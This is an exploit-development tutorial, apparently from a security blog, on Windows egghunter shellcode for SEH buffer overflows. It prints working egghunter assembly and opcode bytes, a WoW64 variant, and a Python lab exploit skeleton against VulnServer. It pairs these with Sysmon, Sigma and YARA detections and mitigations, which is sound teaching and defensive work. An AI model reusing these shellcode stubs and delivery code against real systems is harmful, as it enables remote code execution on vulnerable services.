Egghunters: Staged Payload Delivery When Buffer Space Is Tight
You’ve overwritten the SEH chain. The POP POP RET gadget drops you into a clean four-byte landing zone, the short jump carries you forward — and you count maybe 60 usable bytes before the buffer turns to garbage. Your stager is 350. That gap, between the space you control and the space your payload needs, is the entire reason egghunters exist.
An egghunter is a tiny piece of shellcode — roughly 32 bytes in its tightest form — whose only job is to walk the process’s virtual address space looking for a marker, then hand execution to whatever sits immediately after that marker. The real payload gets parked somewhere else in memory: a different request field, an HTTP header, the heap. Two stages, loosely coupled. The hunter is small enough to fit in the cramped overflow; the payload can be as large as you like, as long as it’s already resident when the hunter runs.
I’ll walk the mechanism, the two classic Windows implementations, the WoW64 wrinkle on modern Windows, and — because this is a defender’s site first — exactly how the technique lights up your telemetry.
Contents
- 1 1. Why Egghunters Exist
- 2 2. The Page-Walk Problem
- 3 3. Anatomy of the Syscall Egghunter
- 4 4. The SEH-Based Variant
- 5 5. Egg Tags and Bad Characters
- 6 6. WoW64 and Windows 10
- 7 7. Wiring It Into an SEH Overflow
- 8 8. Lab: VulnServer KSTET
- 9 9. Detecting Egghunter Behavior
- 10 10. Tools for Egghunter Analysis
- 11 11. Mitigations and Modern Reality
- 12 12. MITRE ATT&CK Mapping
- 13 Summary
- 14 Related Tutorials
- 15 References
1. Why Egghunters Exist
The technique traces back to Matt Miller (skape) and his survey of “safely searching process virtual address space.” The core insight: you can’t just dereference arbitrary addresses looking for your tag, because most of the address range is unmapped. Touch an unmapped page and you take an access violation, which by default kills the process. So the hunter needs a way to test a page for readability before it reads it.
The layout in memory looks like this:
small overflow buffer (~32-60B) elsewhere in the process
+---------------------------+ +-----------------------------+
| EGGHUNTER (the "hunter") | --scan-> | w00tw00t + full shellcode |
+---------------------------+ +-----------------------------+
finds the doubled tag, jmp to payload
Two preconditions, both non-negotiable:
- At least ~32 reachable bytes to hold the hunter itself.
- The full payload must already be in memory when the hunter executes.
That second one bites people. If the payload isn’t resident yet, the hunter scans forever and pegs one CPU core at 100%. The first time I ran a KSTET egghunter I watched the target lock a core and assumed my opcode bytes were wrong. They weren’t — I’d sent the egg-tagged payload after the trigger instead of before, so there was nothing in memory to find. The hunter was working perfectly. It just had nothing to land on.
2. The Page-Walk Problem
x86 virtual memory is paged in 4 KB (0x1000) chunks. A page is either mapped (readable, possibly more) or unmapped (touching it faults). The egghunter exploits this granularity to scan efficiently and safely.
The trick is OR DX, 0x0FFF. That instruction forces the low 12 bits of the iterator register to all-ones, snapping EDX to the last byte of the current page. A following INC EDX rolls it over to the first byte of the next page. So when a page turns out to be invalid, the hunter doesn’t crawl byte-by-byte through 4096 bad addresses — it jumps straight to the next page boundary and probes again. Inside a valid page it advances one DWORD at a time looking for the tag.
The brief table of moving parts:
| Component | Detail |
|---|---|
| Memory iterator register | EDX holds the current scan address |
| Page-boundary jump | OR DX, 0x0FFF → end of page; INC EDX → start of next page |
| Validity probe | A syscall (or an SEH frame) tests whether the page is readable |
| Egg comparison | SCASD compares EAX to [EDI] and auto-increments EDI |
| Transfer to payload | JMP EDI once both halves of the egg match |

3. Anatomy of the Syscall Egghunter
The canonical 32-byte hunter uses the kernel as a page-validity oracle. It invokes NtAccessCheckAndAuditAlarm via the legacy INT 0x2E syscall gate and inspects the return: STATUS_ACCESS_VIOLATION (0xC0000005) means the page is bad, so skip it.
; --- 32-byte syscall egghunter (skape), egg = "w00t" ---
loop_inc_page:
or dx, 0x0fff ; EDX -> last byte of current 4KB page
loop_inc_one:
inc edx ; advance one byte (rolls into next page)
loop_check:
push edx ; save scan pointer (clobbered by syscall)
push 0x2 ; NtAccessCheckAndAuditAlarm syscall # (x86, XP-7)
pop eax ; -> EAX = 0x2 *** verify per OS, see j00ru ***
int 0x2e ; legacy syscall gate
cmp al, 0x05 ; low byte of STATUS_ACCESS_VIOLATION (0xC0000005)?
pop edx ; restore scan pointer
je loop_inc_page ; bad page -> skip to next page boundary
is_egg:
mov eax, 0x74303077 ; "w00t"
mov edi, edx ; EDI = current address
scasd ; compare [EDI] to EAX, EDI += 4
jnz loop_inc_one ; first half mismatch -> keep scanning
scasd ; compare the *second* half of the egg
jnz loop_inc_one
matched:
jmp edi ; EDI now points just past the doubled tag
Two SCASD instructions back to back are doing something specific: the tag is the 4-byte value repeated twice (eight bytes total). Requiring both halves to match makes a false positive vanishingly unlikely, and because SCASD auto-advances EDI, after the second success EDI already points at the byte after the egg — exactly where the payload begins. Skape’s IsBadReadPtr-based variant runs 37 bytes; an NtDisplayString variant is also 32 bytes and works identically — only the syscall number differs.
| Identifier | Value / Note |
|---|---|
| Syscall | NtAccessCheckAndAuditAlarm |
| Syscall number (x86 XP–7) | 0x02 |
| Invocation | INT 0x2E |
| Access-violation status | 0xC0000005 → CMP AL, 0x05 |
| Invalid-page action | JE loop_inc_page |
| Size | ~32 bytes |
Syscall numbers are OS-version specific.
0x02is stable on XP/Vista/7; Windows 10 moved the table and changed the argument layout. Always confirm against Mateusz “j00ru” Jurczyk’s table atj00ru.vexillium.org/syscalls/nt/64/for your exact target build.
4. The SEH-Based Variant
Rather than ask the kernel whether a page is valid, this approach installs a temporary Structured Exception Handler, reads memory blindly, and lets faults route into the handler — which simply advances the pointer and resumes. It runs around 60 bytes, but it carries no hardcoded syscall number, so it survives OS version drift better than the syscall hunter.
; --- SEH-based egghunter (illustrative, ~60 bytes) ---
; Register a handler so a read fault resumes scanning instead of crashing.
push handler ; EXCEPTION_REGISTRATION_RECORD.Handler
push dword [fs:0] ; .Next = current head of the SEH chain
mov [fs:0], esp ; install our frame as the new chain head
xor edx, edx ; scan pointer
scan_loop:
inc edx
mov edi, edx
mov eax, 0x74303077 ; "w00t"
scasd ; read [EDI]; faults route into 'handler'
jnz scan_loop
scasd ; confirm second half of the egg
jnz scan_loop
pop dword [fs:0] ; restore previous SEH frame
add esp, 4
jmp edi ; transfer to payload
handler: ; entered on STATUS_ACCESS_VIOLATION
; bump saved EDX in the CONTEXT past the bad page,
; return ExceptionContinueExecution, resume scan_loop
ret
| Feature | Syscall variant | SEH variant |
|---|---|---|
| Size | ~32 bytes | ~60 bytes |
| Validity check | INT 0x2E → NtAccessCheckAndAuditAlarm | Custom FS:[0] handler |
| OS portability | Fragile (syscall # changes) | More portable |
| Detection surface | INT 0x2E is glaring | Quieter, but installs an SEH frame |
That detection-surface row matters from both chairs. The SEH hunter gets recommended as the “portable” choice, and it is — but the syscall hunter’s INT 0x2E is so unused by legitimate user-mode code that flagging it is nearly a free win for the blue team.
![Hierarchy diagram comparing the two classic egghunter variants: the 32-byte syscall hunter using INT 0x2E with OS-specific syscall numbers versus the 60-byte SEH hunter using a custom FS:[0] fault handler with better portability.](https://genxcyber.com/wp-content/uploads/2026/06/egghunter-staged-payload-delivery-tight-buffer-2.png)
5. Egg Tags and Bad Characters
The tag is a 4-byte value written twice. Common choices: w00tw00t (0x74303077), T00WT00W, b33fb33f, c0d3c0d3, ERCDERCD. Two independent constraints govern selection.
First, every byte of the hunter and the tag must avoid the vulnerable function’s bad characters — \x00, \x0A, \x0D are the usual suspects for string-based bugs, but the set is target-specific. Profile it before you commit to a tag.
Second, and easy to forget: the tag must be unique in process memory ahead of the payload. If the 4-byte value appears anywhere before your real payload — including elsewhere in your own crafted buffer — the hunter may jump there first and execute garbage. Scan your buffer before sending:
def egg_is_unique(buffer: bytes, tag: bytes) -> bool:
payload_at = buffer.find(tag * 2) # the real, doubled egg
earlier = buffer.find(tag) # any earlier single hit?
if earlier != -1 and earlier < payload_at:
print(f"[!] tag {tag!r} appears at offset {earlier} "
f"before the payload at {payload_at}")
return False
return True
The bad-character hunt itself is methodology, not a payload: send a known byte sequence, then diff the receiving buffer in the debugger against what you sent.
# Bad-character probe — compare against the in-memory dump in x64dbg/Immunity
allchars = bytes(range(1, 256)) # skip \x00 explicitly, test the rest
probe = b"A" * 66 + b"B" * 4 + allchars
# Any byte that is mangled, truncated, or terminates the string is "bad".
6. WoW64 and Windows 10
Run a 32-bit egghunter on 64-bit Windows 10 and the old PoCs frequently misfire — the syscall table and ABI underneath WoW64 aren’t what the XP-era hunter expects. The working approach (Corelan published a tested version) uses Heaven’s Gate: transitioning a WoW64 thread from 32-bit to 64-bit mode to issue the real syscall.
The CS segment selector reveals the mode — 0x23 for 32-bit, 0x33 for 64-bit. The hunter checks it, then far-calls through FS:[0xC0] to cross into 64-bit code.
; --- WoW64 / Heaven's Gate egghunter (conceptual fragment) ---
mov ebx, cs ; read code-segment selector
cmp bl, 0x23 ; 0x23 = 32-bit (WoW64) execution?
; ... stage 64-bit syscall args ...
mov bl, 0xc0
call dword [fs:ebx] ; far call via FS:[0xC0] -> 64-bit mode
cmp al, 0x05 ; STATUS_ACCESS_VIOLATION low byte
je loop_inc_page
The Exploit-DB WoW64 sample (45293) pushes 0x29 as the NtAccessCheckAndAuditAlarm number on a particular Windows 10 x64 build. Don’t copy that number blindly — verify it against j00ru’s table for your build, because it’s exactly the field that breaks between releases.
7. Wiring It Into an SEH Overflow
A typical delivery rides a standard SEH overwrite: nSEH gets a short jump forward, SEH gets a POP/POP/RET gadget that returns into nSEH, the short jump skips over the SEH record, and the hunter runs from there.
[ PADDING ][ nSEH: \xEB\x06\x90\x90 ][ SEH: pop/pop/ret addr ][ egghunter ]
... and the egg-tagged full payload lives in a SEPARATE field/request ...
<figure class="gxc-figure">
<img src="https://genxcyber.com/wp-content/uploads/2026/06/egghunter-staged-payload-delivery-tight-buffer-3-scaled.png" alt="Flow diagram of a staged SEH overflow layout showing padding leading to nSEH short jump, SEH POP-POP-RET gadget, the egghunter in the constrained overflow buffer, and the egg-tagged full payload delivered separately in another request field." loading="lazy" />
<figcaption>The egg-tagged payload must arrive in a separate request before the overflow trigger is sent — reversing the order leaves the hunter scanning endlessly with nothing to find.</figcaption>
</figure>
#!/usr/bin/env python3
# LAB ONLY — staged egghunter delivery skeleton (offsets/gadget are placeholders)
import socket
RHOST, RPORT = "192.168.56.20", 9999
egghunter = ( # 32-byte syscall hunter, tag "w00t"
b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
b"\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
)
nseh = b"\xeb\x06\x90\x90" # jmp +6 over the SEH record
seh = b"\x42\x42\x42\x42" # PLACEHOLDER pop/pop/ret (find per target)
egg = b"w00tw00t" # tag, doubled
payload = egg + b"\x90" * 16 + b"\xcc" # \xcc = test int3; swap for calc.exe popup in lab
trigger = b"A" * 66 + nseh + seh + egghunter
trigger += b"C" * (1000 - len(trigger))
with socket.create_connection((RHOST, RPORT)) as s:
s.recv(1024)
s.send(b"KSTET " + payload + b"\r\n") # 1) stage the egg-tagged payload first
s.send(b"KSTET " + trigger + b"\r\n") # 2) THEN trigger overflow + run hunter
Order matters — payload first, trigger second. Reverse it and you get the 100% CPU loop from section 1.
8. Lab: VulnServer KSTET
VulnServer’s KSTET command is the standard teaching target: its overflow leaves a constrained buffer that naturally forces a staged approach. The workflow:
- Attach VulnServer in Immunity Debugger or x64dbg.
- Fuzz
KSTET, find the offset to SEH control with a cyclic pattern. - Locate a clean
POP/POP/RETin a non-/SAFESEH, non-ASLR module. - Generate the hunter with mona:
!mona egg -t w00t(add-cto encode out bad chars). Mona can emit both SEH-based andNtAccessCheckAndAuditAlarm-based hunters. - Set a breakpoint on the
SCASD(\xAF) opcode and single-step to watchEDImarch toward the egg — this is the moment that makes the mechanism click.
Read the manual assembly alongside mona’s output. Treat mona as a generator, not a black box. Use a calc.exe/cmd.exe popup as the test payload — never real C2.
9. Detecting Egghunter Behavior
The hunter is loud if you’re listening. Two behavioral tells lead:
- A single thread pegged at 100%, particularly right after a crash-and-recover on a network service — the symptom of a hunter scanning with no resident payload.
NtAccessCheckAndAuditAlarmfired thousands of times in rapid succession, which no legitimate user-mode workload does. It surfaces in ETW syscall traces.
| Event ID | Name | Relevance |
|---|---|---|
1 | Process Creation | Baseline parent-child chain for the vulnerable service |
8 | CreateRemoteThread | Egg payload injecting; StartModule/StartFunction empty when the start address is outside loaded modules — a shellcode tell |
10 | ProcessAccess | Cross-process handles requesting PROCESS_VM_WRITE (0x0020), PROCESS_VM_OPERATION (0x0008), PROCESS_CREATE_THREAD (0x0002) |
25 | ProcessTampering | Sysmon 13+; in-memory image diverging from disk — hallmark of in-memory execution |
Default SwiftOnSecurity Sysmon config won’t catch CreateRemoteThread injection out of the box because of kernel32.dll exclusions — tune it before you rely on Event ID 8.
title: Remote Thread Start Address Outside Loaded Modules
id: 5a9d3e21-egg0-4c11-9f0a-shellcodeloader
status: experimental
logsource:
product: windows
category: create_remote_thread # Sysmon Event ID 8
detection:
selection:
StartModule: ''
StartFunction: ''
condition: selection
level: high
Pair that with Microsoft-Windows-Threat-Intelligence ETW (fires on WriteProcessMemory/CreateRemoteThread, needs PPL to consume) and audit policy: auditpol /set /subcategory:"Process Creation" /success:enable yields Security Event 4688 with command lines. And flag INT 0x2E in user mode wherever EDR or ETW lets you — it’s about as high-fidelity as indicators get.
YARA pins the syscall hunter’s opcode signature for memory forensics:
rule Egghunter_Syscall_x86 {
meta:
description = "skape NtAccessCheckAndAuditAlarm egghunter (~32 bytes)"
author = "GenXCyber"
strings:
$page_walk = { 66 81 CA FF 0F } // or dx, 0x0fff
$syscall = { CD 2E } // int 0x2e
$av_check = { 3C 05 } // cmp al, 0x05
$scasd = { AF } // scasd
condition:
all of them and (@syscall - @page_walk) < 32
}
10. Tools for Egghunter Analysis
| Tool | Description | Link |
|---|---|---|
| mona.py | Generates/verifies egghunters (!mona egg) in Immunity | corelan.be |
| Immunity Debugger | Classic exploit-dev debugger, mona host | immunityinc.com |
| x64dbg | Free user-mode debugger for stepping the scan | x64dbg.com |
| VulnServer | Safe, intentionally vulnerable practice target | github.com |
| Process Hacker | Spot the 100% CPU thread and handle access | processhacker.sourceforge.io |
| Sysmon | EID 8/10/25 telemetry for shellcode behavior | microsoft.com |
| j00ru syscall table | Authoritative per-OS syscall numbers | j00ru.vexillium.org |
| osed-scripts (epi052) | Egghunter generator and OSED helpers | github.com |
11. Mitigations and Modern Reality
Egghunters were a 32-bit-era staple, and modern defenses have narrowed their utility considerably.
| Mitigation | Effect on the technique |
|---|---|
| DEP / NX | Payload on stack/heap won’t execute; primary kill switch for legacy targets |
| ASLR | Hardcoded POP/POP/RET addresses break; forces wider scans → more CPU and ETW noise |
| Control Flow Guard | Validates indirect targets; disrupts the final JMP EDI when enforced |
| GS / stack canaries | Don’t stop the hunter, but can stop the overflow that delivers it |
| App sandboxing | Limits post-execution blast radius |
The technique still earns its place in OSED-style coursework and against unhardened legacy 32-bit software — which is exactly where you find it in real engagements.
12. MITRE ATT&CK Mapping
Egghunters are delivery scaffolding, not a post-exploitation tactic. There’s no ATT&CK sub-technique for “egghunter,” and you shouldn’t invent one. It sits upstream of the payload, in the exploitation-and-loading layer. Map the surrounding behavior:
| Technique | MITRE ID | Detection |
|---|---|---|
| Exploitation for Client Execution | T1203 | Service crash/recover, EID 1 anomalies |
| Process Injection | T1055 | Sysmon EID 8/10, TI ETW |
| Process Injection: DLL Injection | T1055.001 | EID 8 with empty StartModule |
| Reflective Code Loading | T1620 | In-memory PE, EID 25 ProcessTampering |
| Obfuscated Files or Information | T1027 | Encoded egg payload, YARA on decoder stubs |
| Sandbox Evasion: Time Based | T1497.003 | CPU-spike artifact in sandboxes |
Summary
- An egghunter is a ~32-byte stage-1 stub that scans process memory for a doubled tag and jumps to the stage-2 payload — the answer to “my buffer is too small for real shellcode.”
- The hunter walks memory page-by-page (
OR DX, 0x0FFF), validates each page viaNtAccessCheckAndAuditAlarm/INT 0x2E(or an SEH frame), and confirms the egg with two consecutiveSCASDinstructions beforeJMP EDI. - The payload must already be resident when the hunter runs; otherwise it loops and pegs a CPU core — a behavioral indicator in its own right.
- Syscall numbers are OS-version specific (verify against j00ru) and WoW64 needs Heaven’s Gate, so portability is the real-world friction.
- Detect it via the
INT 0x2Eanomaly, rapidNtAccessCheckAndAuditAlarmbursts, Sysmon EID 8 threads with emptyStartModule, EID 25 tampering, and a YARA signature on the canonical opcode window — and mitigate upstream with DEP, ASLR, and CFG.
Related Tutorials
- Writing x64 Shellcode: Differences, Shadow Space, and Register Conventions
- Classic Stack Buffer Overflow: Smashing the Stack on Windows
- Shellcode Encoders: XOR Encoding, Custom Decoders, and Avoiding Bad Chars
- Position-Independent Code: Writing PIC Shellcode Without Hardcoded Addresses
- Writing Your First Shellcode: x86 Reverse Shell from Scratch
References
- The Basics of Exploit Development 3: Egg Hunters – Coalfire Blog
- Windows User Mode Exploit Development: Egghunter Part 3 – memN0ps
- Windows Exploit Development: Egg Hunting – Shellcode.Blog
- Metasploit Framework – Msf::Exploit::Remote::Egghunter Mixin (Source)
- OSED Scripts: Egghunter Generator (NtAccessCheckAndAuditAlarm & SEH variants) – epi052/osed-scripts
Get new drops in your inbox
Windows internals, exploit dev, and red-team write-ups — no spam, unsubscribe anytime.